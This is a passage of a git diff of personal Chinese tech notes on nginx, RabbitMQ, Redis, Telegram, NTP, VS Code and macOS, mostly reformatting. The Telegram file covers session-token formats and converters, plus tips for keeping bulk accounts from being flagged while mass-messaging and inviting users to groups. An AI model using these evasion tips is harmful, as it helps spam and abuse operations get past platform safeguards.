重定向和跳转 + 1. 重定向 + ```conf server { listen 80; @@ -153,7 +174,9 @@ server { # last 相当于Apache里的[L]标记,表示完成rewrite # break 终止匹配, 不再匹配后面的规则 ``` + 2. 跳转 + ```conf server { listen 80; @@ -165,11 +188,13 @@ server { ``` ### dns解析 + 1. Nginx0.6.18以后的版本中启用了一个resolver指令 2. 解决错误 no resolver defined to resolve 或 could not be resolved + ```conf http { # 依次从左到右 resolver 114.114.114 8.8.8.8 valid=3600s; } -``` \ No newline at end of file +``` diff --git a/software/rabbitmq.md b/software/rabbitmq.md index 1e43dbf..6931caf 100644 --- a/software/rabbitmq.md +++ b/software/rabbitmq.md @@ -1,3 +1,9 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + 生产者,消费者,频道,交换机,队列,路由键。 producer,consumer,channel,exchange,queue,routing key。 note:路由键可以简单地理解为queue的名字。 @@ -6,14 +12,14 @@ note:路由键可以简单地理解为queue的名字。 direct:接收者和队列进行绑定。生产者和接收者的路由键需要完全一致匹配。 channel.sendToQueue(queue, Buffer.from(msg), { persistent: true }); -channel.prefetch(1); -don't dispatch a new message to a worker until it has processed and acknowledged the previous one. +channel.prefetch(1);\ +don't dispatch a new message to a worker until it has processed and acknowledged the previous one. Instead, it will dispatch it to the next worker that is not still busy. fanout: 用于订阅模式,接收者直接和交换机进行绑定,不需要路由键。假如没有接收者,消息直接被丢弃。 channel.publish(exchange, key, Buffer.from(msg)); -topic: 用于订阅模式,接收者直接和交换机进行绑定,需要路由键。接收者的路由键和发送者的路由键进行规则匹配(*,#)。 +topic: 用于订阅模式,接收者直接和交换机进行绑定,需要路由键。接收者的路由键和发送者的路由键进行规则匹配(\*,#)。 channel.publish(exchange, key, Buffer.from(msg)); header: 未学。 @@ -22,10 +28,10 @@ RPC: 接收者需要绑定队列。 channel.sendToQueue('rpc_queue',Buffer.from(num.toString()), {correlationId,replyTo: q.queue,}); 关于queue -exclusive: true 随机产生一个queue,当client连接断开时,销毁。 +exclusive: true 随机产生一个queue,当client连接断开时,销毁。 persistent: true queue的消息持久化。 rabbitmqctl list_queues rabbitmqctl list_exchanges rabbitmqctl list_queues name messages_ready messages_unacknowledged -rabbitmqctl list_bindings \ No newline at end of file +rabbitmqctl list_bindings diff --git a/software/redis/redis.md b/software/redis/redis.md index 83c4d9c..8a60b4b 100644 --- a/software/redis/redis.md +++ b/software/redis/redis.md @@ -1,98 +1,126 @@ +--- +created_date: 2021-07-15 +--- + +[TOC] - 参考链接 -https://www.runoob.com/redis/redis-tutorial.html 增删改查 -https://www.cnblogs.com/gnuhpc/p/4609592.html 指令 -https://www.cnblogs.com/yiwangzhibujian/p/7067575.html 配置 -http://redisdoc.com/topic/cluster-tutorial.html 集群 -https://zhuanlan.zhihu.com/p/111547061 架构 -https://nullcc.github.io/2018/02/15/(%E8%AF%91)Redis%E5%93%8D%E5%BA%94%E5%BB%B6%E8%BF%9F%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5/ 延迟 + https://www.runoob.com/redis/redis-tutorial.html 增删改查 + https://www.cnblogs.com/gnuhpc/p/4609592.html 指令 + https://www.cnblogs.com/yiwangzhibujian/p/7067575.html 配置 + http://redisdoc.com/topic/cluster-tutorial.html 集群 + https://zhuanlan.zhihu.com/p/111547061 架构 + https://nullcc.github.io/2018/02/15/(%E8%AF%91)Redis%E5%93%8D%E5%BA%94%E5%BB%B6%E8%BF%9F%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5/ 延迟 ## 基础 + 1. 基于单机模式默认有16个库,集群没有数据库的概览。 + ### 数据类型 -1. 字符串 - 1. SET keyname value - 2. get keyname -2. 哈希 - 1. HSET hkeyname key1 value1 key2 value2 ... - 2. 列出哈希表中所有的key和value HGETALL hkeyname -3. 列表 - 1. LPUSH keyname value1 value2 ... - 2. 列出列表里的元素 LRANGE key start end -4. 集合 - 1. SADD keyname value1 value2 - 2. 查看集合里所有的元素 SMEMBERS key - 3. 查看这个元素是否在集合里 SISMEMBER key value1 + +1. 字符串 + 1. SET keyname value + 2. get keyname +2. 哈希 + 1. HSET hkeyname key1 value1 key2 value2 ... + 2. 列出哈希表中所有的key和value HGETALL hkeyname +3. 列表 + 1. LPUSH keyname value1 value2 ... + 2. 列出列表里的元素 LRANGE key start end +4. 集合 + 1. SADD keyname value1 value2 + 2. 查看集合里所有的元素 SMEMBERS key + 3. 查看这个元素是否在集合里 SISMEMBER key value1 5. 有序集合 - 1. 增加操作 - ZADD keyname 1 value1 - ZADD keyname 2 value2 - 2. 查看操作 - ZRANGE keyname start end + 1. 增加操作 + ZADD keyname 1 value1 + ZADD keyname 2 value2 + 2. 查看操作 + ZRANGE keyname start end ## 原理 + ### 单线程 + 1. Redis是单线程的。 2. Redis 单线程如何处理那么多的并发客户端连接? - Redis的IO多路复用:redis利用epoll来实现IO多路复用,将连接信息和事件放到队列中,依次放到 文件事件分派器,事件分派器将事件分发给事件处理器。 + Redis的IO多路复用:redis利用epoll来实现IO多路复用,将连接信息和事件放到队列中,依次放到 文件事件分派器,事件分派器将事件分发给事件处理器。 + ### 持久化 + 1. 持久化机制 - 1. aof(默认值)把写操作指令,持续的写到一个类似日志文件里。 - 2. rdb fork一个进程,遍历hash table,利用copy on write,把整个db dump保存下来。save, shutdown, slave 命令会触发这个操作。 + 1. aof(默认值)把写操作指令,持续的写到一个类似日志文件里。 + 2. rdb fork一个进程,遍历hash table,利用copy on write,把整个db dump保存下来。save, shutdown, slave 命令会触发这个操作。 ### 缓存淘汰策略 + 1. noeviction 拒绝写请求,读可继续 (默认策略) 2. 过期key - - volatile-lru 淘汰设置了过期时间的key - - volatile-ttl ttl越小越先被淘汰 - - allkeys-random 随机淘汰设置了过期时间的key + + - volatile-lru 淘汰设置了过期时间的key + - volatile-ttl ttl越小越先被淘汰 + - allkeys-random 随机淘汰设置了过期时间的key + 3. 全部key - - allkeys-lru - - volatile-random + + - allkeys-lru + - volatile-random + ## 集群 + - 参考 - - https://blog.csdn.net/qq_38937634/article/details/112172719 + - https://blog.csdn.net/qq_38937634/article/details/112172719 + 1. 集群可扩展性 - - 集群通过Sharding实现可扩展性,默认有 16384 个slot - - 集群使用hash_slot来切分数据进slot里,slot = CRC16(key) % 16384 - - 通过指令计算一个key的slot值: CLUSTER KEYSLOT key 或者 通过 http://www.ip33.com/crc.html 参数模型选择CRC-16/XMODEM - - 缺陷: 集群添加删除节点,需要重新分配数据进对应的slot里 + - 集群通过Sharding实现可扩展性,默认有 16384 个slot + - 集群使用hash_slot来切分数据进slot里,slot = CRC16(key) % 16384 + - 通过指令计算一个key的slot值: CLUSTER KEYSLOT key 或者 通过 http://www.ip33.com/crc.html 参数模型选择CRC-16/XMODEM + - 缺陷: 集群添加删除节点,需要重新分配数据进对应的slot里 2. 集群去中心化 - - 缺陷:不能把客户端发出的一条指令转发到不同的节点,然后再把结果合并返回给客户端 + - 缺陷:不能把客户端发出的一条指令转发到不同的节点,然后再把结果合并返回给客户端 + ## 场景 + 1. 缓存穿透 - - 是指查询一个根本不存在的数据, 缓存层和存储层都不会命中, 通常出于容错的考虑, 如果从存储 层查不到数据则不写入缓存层。 - 缓存穿透将导致不存在的数据每次请求都要到存储层去查询, 失去了缓存保护后端存储的意义。 - - 解决措施:可以将空对象缓存起来或者设置一个特殊意义的字符串来标示此记录数据库中不存在,直接在缓存层返回. + + - 是指查询一个根本不存在的数据, 缓存层和存储层都不会命中, 通常出于容错的考虑, 如果从存储 层查不到数据则不写入缓存层。 + 缓存穿透将导致不存在的数据每次请求都要到存储层去查询, 失去了缓存保护后端存储的意义。 + - 解决措施:可以将空对象缓存起来或者设置一个特殊意义的字符串来标示此记录数据库中不存在,直接在缓存层返回. + 2. 缓存雪崩 - - 如果在某个时间点,有大量缓存失效,那么下一个时间点就会有大量请求访问到数据库,这种情况下,数据库可能因为访问量多大导致“崩溃” + + - 如果在某个时间点,有大量缓存失效,那么下一个时间点就会有大量请求访问到数据库,这种情况下,数据库可能因为访问量多大导致“崩溃” 3. 缓存和数据一致性 ## 监控 + 1. used_memory -Redis 内存分配器分配的内存总量(单位是字节),包括使用的虚拟内存(即 swap) + Redis 内存分配器分配的内存总量(单位是字节),包括使用的虚拟内存(即 swap) 2. used_memory_rss -Redis 进程占据操作系统的内存(单位是字节),与 top 及 ps 命令看到的值是一致的。 -除了内存分配器分配的内存之外,used_memory_rss 还包括进程运行本身需要的内存、内存碎片等,但是不包括虚拟内存。 + Redis 进程占据操作系统的内存(单位是字节),与 top 及 ps 命令看到的值是一致的。 + 除了内存分配器分配的内存之外,used_memory_rss 还包括进程运行本身需要的内存、内存碎片等,但是不包括虚拟内存。 3. maxmemory -最大内存限制,0表示无限制 + 最大内存限制,0表示无限制 ## 运维操作 + 1. 连接redis 默认端口6379 -redis-cli -h IP -p PORT -a PASS -c -参数 -c 表示进入集群模式 + redis-cli -h IP -p PORT -a PASS -c + 参数 -c 表示进入集群模式 + 2. 密码验证 -auth PASS + auth PASS + 3. 统计未被销毁的key数量 -dbsize + dbsize 4. 选择数据库 -select 1 + select 1 5. 后台进程重写AOF(手动触发aof日志重写机制) -bgrewriteaof + bgrewriteaof bgsave 后台保存rdb快照 @@ -101,32 +129,35 @@ SAVE 保存rdb快照 LASTSAVE 上次保存时间 6. 清空一个实例下所有数据库的所有数据 -FLUSHALL + FLUSHALL 7. 查看此实例的所有信息 -info + info 8. 临时修改密码 -config set requirepass 123456 + config set requirepass 123456 9. 扫描占用内存大的键值 -redis-cli -h ${IP} --bigkeys + redis-cli -h ${IP} --bigkeys ### 慢日志 1. 动态配置慢日志 - - 设置保存慢日志的数量 - config set slowlog-max-len 10 - config get slowlog-max-len - - 执行时间超过多少微秒的请求会被记录到慢日志(1秒等于1 000 000微秒) - config set slowlog-log-slower-than 10000 - config get slowlog-log-slower-than + - 设置保存慢日志的数量 + config set slowlog-max-len 10 + config get slowlog-max-len + + - 执行时间超过多少微秒的请求会被记录到慢日志(1秒等于1 000 000微秒) + config set slowlog-log-slower-than 10000 + config get slowlog-log-slower-than + 2. 操作 - 获取慢日志的数量 slowlog len - 获取所有的慢日志 slowlog get + 获取慢日志的数量 slowlog len + 获取所有的慢日志 slowlog get 3. 结果显示 + ```conf 1) 1) (integer) 0 # 日志唯一标识符 2) (integer) 1517305551 # 命令执行的UNIX时间戳 @@ -135,33 +166,42 @@ redis-cli -h ${IP} --bigkeys 2) "*" ``` + Redis Version >= 4.0 + ```conf 5) "172.31.92.72:45220" # 连接Redis的客户端IP:PORT 6) "" # 连接Redis的客户端名字 ``` + ### 常规操作 -1. 列出当前db有效的key - keys * + +1. 列出当前db有效的key + keys \* 2. 列出指定数量的kye - ```bash - scan ${游标位置} match * count ${数量} - scan 0 match * count 5 - ``` + + ```bash + scan ${游标位置} match * count ${数量} + scan 0 match * count 5 + ``` 3. 查看key剩余的过期时间/秒 - TTL key名字 + TTL key名字 4. 查看数据库类型 - TYPE key名字 + TYPE key名字 ## 配置 + ### 参数 + ```conf cluster-require-full-coverage ``` -### 配置文件 + +### 配置文件 + ```conf #后勤配置 @@ -324,7 +364,9 @@ latency-monitor-threshold 0 ##用LATENCY打印redis实例跑命令时的耗时 ``` ## 问题与解决 + 1. 没有连接redis集群的连接地址,而是使用primary node的连接地址,故障转移后,导致 + ```log SlimMonoLogger.ERROR: RedisException: READONLY You can't write against a read only replica -``` \ No newline at end of file +``` diff --git a/software/telegram.md b/software/telegram.md index acacc8f..10cf99d 100644 --- a/software/telegram.md +++ b/software/telegram.md @@ -1,53 +1,60 @@ +--- +created_date: 2024-11-07 +--- + +[TOC] + # 链接 + 1. https://github.com/thedemons/opentele/ 2. https://github.com/thaithanhnhat/Telethon_to_Tdata 3. https://docs.jifengtg.com/functiondescription/xie-yi-hao-zhuan-zhi-deng-hao 4. https://miha.uk/docs/tutor/telegram-format-convert/ 5. https://www.qunfa.tech/ - # TG - Telegram 支持32个设备同时在线----此类技术被称为多点登录技术。 # 开发者 + 1. API ID:一个唯一的整数标识符,与你的 Telegram 应用程序绑定。 2. API Hash:一个随机生成的字符串,作为你的应用程序的密钥,用于身份验证。 - 获取 API ID 和 API Hash - 1. 访问 my.telegram.org - 2. 使用 Telegram 账号登录(Telegram账户将收到一个验证码,输入后即可登录)。 - 3. 登录后,点击页面上的 API development tools。 - 4. Creating an application - 5. 提交表单后,页面将显示您的 api_id 和 api_hash + 1. 访问 my.telegram.org + 2. 使用 Telegram 账号登录(Telegram账户将收到一个验证码,输入后即可登录)。 + 3. 登录后,点击页面上的 API development tools。 + 4. Creating an application + 5. 提交表单后,页面将显示您的 api_id 和 api_hash - 主流 Telegram 登入token格式 - 1. Telethon: 最流行。(后缀名:session) - 2. Pyrogram:优雅的库,不过不如Telethon流行。(后缀名:session) - 3. tdata: window下的Telegram客户端的格式。土味技术术语--直登号(一个叫做tdata的目录) - 4. api接码形式:将Telegram的协议(一般是xxxx.session文件)和直登号(windows下的Telegram客户端账号信息)转化为在线的链接接码。 (例如: +12362081322|https://tgapiv2.miha.uk/Lyyer2zs85xxcykb/6d3axxd7-2055-46f7-a321-f33b530xxx/GetHTML - 5. 密钥:某些软件需要,一般就是telethon和pyrogram的string_session形态。 - 6. json:某些软件需要。一般内含上者,或者是暴露出来的auth_key - 7. web_auth_key:web版本的官方telegram客户端的登录方式。一般来说,都是一串”982FA。。。。“的值。可以从session文件中获取auth_key后填写。 + 1. Telethon: 最流行。(后缀名:session) + 2. Pyrogram:优雅的库,不过不如Telethon流行。(后缀名:session) + 3. tdata: window下的Telegram客户端的格式。土味技术术语--直登号(一个叫做tdata的目录) + 4. api接码形式:将Telegram的协议(一般是xxxx.session文件)和直登号(windows下的Telegram客户端账号信息)转化为在线的链接接码。 (例如: +12362081322|https://tgapiv2.miha.uk/Lyyer2zs85xxcykb/6d3axxd7-2055-46f7-a321-f33b530xxx/GetHTML + 5. 密钥:某些软件需要,一般就是telethon和pyrogram的string_session形态。 + 6. json:某些软件需要。一般内含上者,或者是暴露出来的auth_key + 7. web_auth_key:web版本的官方telegram客户端的登录方式。一般来说,都是一串”982FA。。。。“的值。可以从session文件中获取auth_key后填写。 - 与 Telegram API 交互的 Python 库 - 1. Telethon 是一个纯 Python 库,使用 Telegram 的 MTProto 协议 与 Telegram API 通信。它特别适合需要直接、底层操作 Telegram 用户账户的场景。 - 2. Pyrogram 是一个基于 Python 的 Telegram 客户端库,支持 Telegram Bot API 和 MTProto 协议。因此,它可以用于用户账户和 Bot 账户。 - 3. Opentele 是一个轻量级的 Python 库,主要用于 Telegram 的 MTProto 协议交互。它的设计目标是快速、高效、简洁,适合轻量级的 Telegram 项目。 + 1. Telethon 是一个纯 Python 库,使用 Telegram 的 MTProto 协议 与 Telegram API 通信。它特别适合需要直接、底层操作 Telegram 用户账户的场景。 + 2. Pyrogram 是一个基于 Python 的 Telegram 客户端库,支持 Telegram Bot API 和 MTProto 协议。因此,它可以用于用户账户和 Bot 账户。 + 3. Opentele 是一个轻量级的 Python 库,主要用于 Telegram 的 MTProto 协议交互。它的设计目标是快速、高效、简洁,适合轻量级的 Telegram 项目。 # 风控和养号 + 1. 登录频率:多个账户短时间内从同一 IP 或少量 IP 登录,Telegram 可能检测到异常流量,触发限制。 - 1. 解决办法:一个IP登入1个或2个TG + 1. 解决办法:一个IP登入1个或2个TG 2. API 调用频率:每个账户有 API 调用上限(例如每秒请求数)。若超过限制,账户可能被暂时封禁(Flood Wait)。 - 1. 解决办法:设置合理的操作间隔。 + 1. 解决办法:设置合理的操作间隔。 3. 批量行为一致性:多个账户同时执行相同操作(如群发消息或加群),Telegram 的算法可能识别为自动化行为。 - 1. 解决办法:设置合理的操作间隔。 + 1. 解决办法:设置合理的操作间隔。 4. IP 和设备指纹:使用相同或少量 IP、代理,或未模拟真实设备指纹,容易被关联并封禁。 - - 拉群风控规则 - 1. 限制群成员的增长速率,禁止每日新增成员超过200人。 - 2. 每日邀请限额的引入,普通用户的限额为100次邀请,而认证用户则为500次。 \ No newline at end of file + 1. 限制群成员的增长速率,禁止每日新增成员超过200人。 + 2. 每日邀请限额的引入,普通用户的限额为100次邀请,而认证用户则为500次。 diff --git a/software/thumbor.md b/software/thumbor.md index cb37f42..21bbb86 100644 --- a/software/thumbor.md +++ b/software/thumbor.md @@ -1,15 +1,23 @@ -1. github - https://github.com/thumbor/thumbor +--- +created_date: 2021-03-29 +--- + +[TOC] + +1. github\ + https://github.com/thumbor/thumbor 2. document - https://thumbor.readthedocs.io/en/latest/index.html + https://thumbor.readthedocs.io/en/latest/index.html + +3. docker -3. docker - - https://registry.hub.docker.com/r/minimalcompact/thumbor - - challengesoft/thumbor-gcloud - - docker run -p 8888:80 minimalcompact/thumbor + - https://registry.hub.docker.com/r/minimalcompact/thumbor + - challengesoft/thumbor-gcloud + - docker run -p 8888:80 minimalcompact/thumbor 4. using + ```powershell # encodedURI=window.encodeURIComponent( @@ -22,9 +30,11 @@ http://127.0.0.1:8888/unsafe/300x200/https%3A%2F%2Fgarys.top%2FPMQ%2Fstatic%2Fad ``` 5. cloud-storage - - https://github.com/Superbalist/thumbor-cloud-storage - - https://www.cnpython.com/pypi/thumbor-cloud-storage - - pip install thumbor-cloud-storage + + - https://github.com/Superbalist/thumbor-cloud-storage + - https://www.cnpython.com/pypi/thumbor-cloud-storage + - pip install thumbor-cloud-storage 6. s3 - - https://github.com/thumbor-community/aws \ No newline at end of file + + - https://github.com/thumbor-community/aws diff --git a/software/time.md b/software/time.md index 6f9d94d..0324a7b 100644 --- a/software/time.md +++ b/software/time.md @@ -1,15 +1,25 @@ +--- +created_date: 2021-07-24 +--- + +[TOC] + ## 网络时间协议 ntp + - 协议说明:https://en.wikipedia.org/wiki/Network_Time_Protocol - 功能:进行时钟同步,保证服务器之间的时间是一致的。 - 使用UDP协议,端口123 1. 安装 + ```bash yum -y install ntp ``` -2. 配置 -vi /etc/ntp.conf -```conf + +2. 配置 + vi /etc/ntp.conf + +```conf # 配置可以来同步时钟的网络段 # Hosts on local network are less restricted. restrict 10.118.12.0 mask 255.255.255.0 nomodify @@ -17,48 +27,54 @@ restrict 10.118.12.0 mask 255.255.255.0 nomodify server 127.127.1.0 fudge 127.127.1.0 stratum 0 ``` + 3. 时钟服务器地址 + ```conf pool ntp.sjtu.edu.cn iburst # 上海交通大学网络中心NTP服务器地址 pool time.nist.gov iburst # 美国标准技术研究院 NTP 服务器 ``` 4. 手动调整时钟 - - 需要先关闭ntp服务 - ntpdate 服务器地址 + + - 需要先关闭ntp服务 + ntpdate 服务器地址 5. 查看服务状态 - systemctl status ntpd.service + systemctl status ntpd.service 6. 查看同步状态 - ntpq -p - ntpstat + ntpq -p + ntpstat ## 时区 + - 时区参考 https://time.123cha.com/knowledge/6.html - 整个地球分为二十四时区,每个时区都有自己的本地时间。每隔经度15°划分一个时区。 + - 通用协调时(UTC, Universal Time Coordinated) + - UTC 世界标准时间 ~= GMT 1. GMT 格林尼治标准时间 Greenwich Mean Time - - +0 - - 东零时区/西零时区,是西经15度到东经15度的地方,格林威治是英国伦敦泰晤士河南岸的一个地方。 + - +0 + - 东零时区/西零时区,是西经15度到东经15度的地方,格林威治是英国伦敦泰晤士河南岸的一个地方。 2. CST 北京时间 - - UTC/GMT +08 - - 东八时区。 -3. CET/CEST 中欧标准时间 Central European Time - - UTC/GMT +01 (夏令时) - - UTC/GMT +02 (冬令时) - - 东一时区。大部分欧洲国家和部分北非国家在使用。 + - UTC/GMT +08 + - 东八时区。 +3. CET/CEST 中欧标准时间 Central European Time + - UTC/GMT +01 (夏令时) + - UTC/GMT +02 (冬令时) + - 东一时区。大部分欧洲国家和部分北非国家在使用。 4. ET/EST 美国东部时间 Eastern Standard Time - - UTC/GMT -04 (夏令时) 2022-3-13 3:00:00 ~ 2022-11-6 2:00:00 - - UTC/GMT -05 (冬令时) - - 西五时区。纽约、华盛顿等城市在使用。 + - UTC/GMT -04 (夏令时) 2022-3-13 3:00:00 ~ 2022-11-6 2:00:00 + - UTC/GMT -05 (冬令时) + - 西五时区。纽约、华盛顿等城市在使用。 5. PT/PST 太平洋标准时间 Pacific Time Zone - - UTC/GMT -08 (冬令时) - - UTC/GMT -07 (夏令时) - - 西八时区。太平洋沿岸美国的4个州在使用,代表城市洛杉矶、旧金山、圣地亚哥、拉斯维加斯、西雅图。 + - UTC/GMT -08 (冬令时) + - UTC/GMT -07 (夏令时) + - 西八时区。太平洋沿岸美国的4个州在使用,代表城市洛杉矶、旧金山、圣地亚哥、拉斯维加斯、西雅图。 ```bash # 1. 查看每个time zone当前的时间 @@ -73,16 +89,18 @@ timedatectl set-timezone Asia/Shanghai # 临时设置,重启后失效 ln -sf /usr/share/zoneinfo/Asia/Hong_Kong /etc/localtime ``` - ## 时间 + 1. 查看机器上的硬件时间(always in local time zone) + ```bash hwclock --show ``` 2. 查看操作系统的时间 + ```bash date -d "yesterday" +%Y-%m-%d date -d '2 days ago' +%Y-%m-%d # 显示2天前的时间 date '+%Y-%m-%d %H:%M:%S' -``` \ No newline at end of file +``` diff --git a/software/vscode.md b/software/vscode.md index fd960a7..24d2ac5 100644 --- a/software/vscode.md +++ b/software/vscode.md @@ -1,16 +1,26 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # vscode -- 参考文档 - - https://geek-docs.com/vscode/vscode-tutorials/what-is-vscode.html - - https://segmentfault.com/a/1190000037516796 - - https://www.cnblogs.com/bindong/p/6045957.html -## 快捷键 +- 参考文档 + - https://geek-docs.com/vscode/vscode-tutorials/what-is-vscode.html + - https://segmentfault.com/a/1190000037516796 + - https://www.cnblogs.com/bindong/p/6045957.html + +## 快捷键 + - 在Mac系统内,快捷键的Ctrl按键往往被替换为Cmd按键 ### 自定义快捷键 + - 打开 - - Ctrl + Shift + P - - Preferences: Open Keyboard shortcurs(JSON) + - Ctrl + Shift + P + - Preferences: Open Keyboard shortcurs(JSON) + ```json // 新终端和切换终端的快捷键 { "key": "cmd+1", "command": "workbench.action.terminal.focusAtIndex1", "when": "terminalFocus" }, @@ -41,71 +51,97 @@ ``` ### 工作区快捷键 -1. 显示命令面板:VS Code 的绝大多数命令都可以在命令面板里搜到 - - F1 或者 “Ctrl + Shift + P” + +1. 显示命令面板:VS Code 的绝大多数命令都可以在命令面板里搜到 + + - F1 或者 “Ctrl + Shift + P” 2. 折叠和展开 - 1. 折叠所有区域代码的快捷键 - - 先按下 Ctrl + K,再按下 Ctrl 和 0 - 2. 展开所有折叠区域代码的快捷键 - - 先按下 Ctrl 和 K,再按下 Ctrl 和 J + + 1. 折叠所有区域代码的快捷键 + - 先按下 Ctrl + K,再按下 Ctrl 和 0 + 2. 展开所有折叠区域代码的快捷键 + - 先按下 Ctrl 和 K,再按下 Ctrl 和 J 3. 显示/隐藏侧边栏 - - Ctrl + B + + - Ctrl + B 4. 聚焦到第 1、第 2 个编辑器 - - Ctrl + 1 - - Ctrl + 2 + + - Ctrl + 1 + - Ctrl + 2 5. 将工作区放大/缩小 - - Ctrl + - - Ctrl - + + - Ctrl + + - Ctrl - 6. 显示/隐藏控制台 - - Ctrl + J + + - Ctrl + J 7. 新建文件 - - Ctrl + N + + - Ctrl + N 8. 关闭当前文件 - - Ctrl + W + + - Ctrl + W 9. 重新开一个软件的窗口 - - Ctrl + Shift + N + + - Ctrl + Shift + N + ### 其它快捷键 -1. 切换文件 + +01. 切换文件 + - Ctrl + Option + 左右方向键 - Ctrl + Tab (Mac也是这个快捷键) -2. 文件内进行方法或标题间的跳转 +02. 文件内进行方法或标题间的跳转 + - Ctrl + shift + O -3. 跳转到指定行 +03. 跳转到指定行 + - Ctrl + G (Mac也是这个快捷键) -4. 跳到词首词尾 - - Ctrl + 左右按键 option + 左右按键(Mac) -5. 跳到行首行尾 - - Fn + 左右按键 Cmd + 左右按键(Mac) +04. 跳到词首词尾 -6. 在连续的多列上,同时出现光标 - - Ctrl + Alt + 上下键 Cmd + Option + 上下键 + - Ctrl + 左右按键 option + 左右按键(Mac) -7. 代码格式化 - - Alt + shift + F Option + Shift + F(Mac) +05. 跳到行首行尾 + + - Fn + 左右按键 Cmd + 左右按键(Mac) + +06. 在连续的多列上,同时出现光标 + + - Ctrl + Alt + 上下键 Cmd + Option + 上下键 + +07. 代码格式化 + + - Alt + shift + F Option + Shift + F(Mac) + +08. 全局搜索内容 -8. 全局搜索内容 - Ctrl + Shift +F -9. 全局搜索文件 +09. 全局搜索文件 + - Ctrl + P 10. 打开终端 - - Ctrl + ` + + - Ctrl + \` 11. 打开多个终端 - - Ctrl + shift + ` + + - Ctrl + shift + \` + ## vscode指令 + ```bash # 1. 使用现有的vscode窗口打开一个文件 vscode -r ${filename} @@ -118,9 +154,13 @@ vscode --install-extension ( | ) ``` ## 配置 + - 所有配置放在.vscode文件夹中 + 1. 配置文件 settings.json + - https://code.visualstudio.com/docs/languages/identifiers + ```json { "some_setting": "custom_value", @@ -135,27 +175,33 @@ vscode --install-extension ( | ) "http.proxyStrictSSL": false } ``` + 2. 调试设置 launch.json 3. 任务设置 tasks.json ## 我的插件 + 1. Better Jinja 2. GitLens — Git supercharged 3. Live Server - - 静态页面服务器,解决访问第三方js包时的跨域问题 + + - 静态页面服务器,解决访问第三方js包时的跨域问题 4. Rust相关的插件 - - Rust - - Debug - - C++ (Windows) - - CodeLLDB(Mac或Linux) ~/.vscode/launch.json + + - Rust + - Debug + - C++ (Windows) + - CodeLLDB(Mac或Linux) ~/.vscode/launch.json + 5. Bookmarks ## 错误与解决 + 1. vscode 中 js 文件失去高亮 / 没有智能提示 - - windows删除 AppData\Roaming - - mac删除 Library/Application Support/Code - - 这个文件夹爱被删除后,vscode的个人设置都会被删除。 + - windows删除 AppData\\Roaming + - mac删除 Library/Application Support/Code + - 这个文件夹爱被删除后,vscode的个人设置都会被删除。 diff --git a/zzz/android.md b/zzz/android.md new file mode 100644 index 0000000..041c87c --- /dev/null +++ b/zzz/android.md @@ -0,0 +1,6 @@ +1. 下载软件的应用商店 + 1. 豌豆荚 + 2. APKPure + 3. 酷安 + 4. Aptoide + 5. \ No newline at end of file diff --git a/zzz/mac.md b/zzz/mac.md index cef66e1..10dccbe 100644 --- a/zzz/mac.md +++ b/zzz/mac.md @@ -1,8 +1,15 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] ## 链接 + 1. 苹果官网序列号查询 https://checkcoverage.apple.com/cn/zh ## 终端命令 + ```bash # 1. 查看端口、PID映射 lsof -i -P @@ -30,6 +37,7 @@ nslookup -q=ns baidu.com # 更改终端名字 scutil --set HostName gary ``` + ```bash # 删除终端命令记录 # 默认登录 shell 是 zsh的话,用以下命令: @@ -52,7 +60,9 @@ ifconfig | grep -A 4 "en0" ``` ## 软件 + ### Command Line Tools + 1. Command Line Tools 是 Xcode IDE的可选命令行工具子部分 2. 从MacOS High Sierra,Sierra,OS X El Capitan,Yosemite,Mavericks开始,无需先安装整个Xcode软件包,也无需登录开发人员帐户,就可以单独安装Command Line Tools。 3. 安装: xcode-select --install @@ -60,11 +70,15 @@ ifconfig | grep -A 4 "en0" 5. 安装好的工具被放置在这个目录内 /Library/Developer/CommandLineTools/usr/bin/ ### App Store + 1. 截图工具 Lightshot Screenshot ### brew + #### 安装brew + - 安装brew + ```bash # /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" # 新版本安装方式 @@ -76,6 +90,7 @@ eval "$(/opt/homebrew/bin/brew shellenv)" ``` - 设置代理 + ```bash # brew下载安装包时使用的是curl指令 vi ~/.curl @@ -83,6 +98,7 @@ export ALL_PROXY=socks5://127.0.0.1:7890 ``` #### 常用指令 + ```bash brew service list brew service start $name # 底层调用的是launchctl @@ -92,128 +108,145 @@ brew install vim ``` #### 软件安装包源 + 1. formulae & casks - - formulae 意思是一些软件包,一般是命令行工具、开发库、一些字体、插件,共性是不提供界面,提供给终端或者是开发者使用。 - - casks 是用户软件,比如 chrome、mvim、wechat、wechatwork 这些提供用户交互界面的软件。 -2. brew tap - - brew tap 指令可以添加安装包源 - ```bash - brew tap $user/$repo - # user/repo 对应 https://github.com/user/homebrew-repo - # brew untap $user/$repo + - formulae 意思是一些软件包,一般是命令行工具、开发库、一些字体、插件,共性是不提供界面,提供给终端或者是开发者使用。 + - casks 是用户软件,比如 chrome、mvim、wechat、wechatwork 这些提供用户交互界面的软件。 - # 示范 - brew install vim # installs from homebrew/core - brew install username/repo/vim # installs from your custom repo - ``` +2. brew tap + + - brew tap 指令可以添加安装包源 + + ```bash + brew tap $user/$repo + # user/repo 对应 https://github.com/user/homebrew-repo + # brew untap $user/$repo + + # 示范 + brew install vim # installs from homebrew/core + brew install username/repo/vim # installs from your custom repo + ``` 3. 常用的安装包源 - 1. homebrew/php:和php关联的formulae - 2. denji/nginx: nginx modules 的tap - 3. InstantClientTap/instantclient: Oracle客户端实例的tap - 4. petere/postgresql: 允许同时安装多个PostgreSQL版本的tap - 5. dunn/emacs: Emacs package的tap - 6. sidaf/pentest: 渗透测试工具的tap - 7. osrf/simulation: 机器仿真的tap + + 1. homebrew/php:和php关联的formulae + 2. denji/nginx: nginx modules 的tap + 3. InstantClientTap/instantclient: Oracle客户端实例的tap + 4. petere/postgresql: 允许同时安装多个PostgreSQL版本的tap + 5. dunn/emacs: Emacs package的tap + 6. sidaf/pentest: 渗透测试工具的tap + 7. osrf/simulation: 机器仿真的tap ### brew下载软件 1. 安装mysql-shell - - brew install caskroom/cask/mysql-shell + +- brew install caskroom/cask/mysql-shell 2. mysql - ```bash - brew install mysql@5.7 - ``` - ```log - To connect run: - mysql -uroot - mysql@5.7 is keg-only, which means it was not symlinked into /opt/homebrew, - because this is an alternate version of another formula. +```bash +brew install mysql@5.7 +``` - If you need to have mysql@5.7 first in your PATH, 